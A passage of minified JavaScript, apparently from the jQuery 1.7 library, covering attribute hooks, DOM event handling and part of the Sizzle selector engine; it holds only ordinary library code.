d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(
3
+ a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")};f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split(" ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j in o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,d){var e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return a}},fix:function(a){if(a[f.expando])return a;var d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=f.extend(new f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this instanceof f.Event))return new f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var 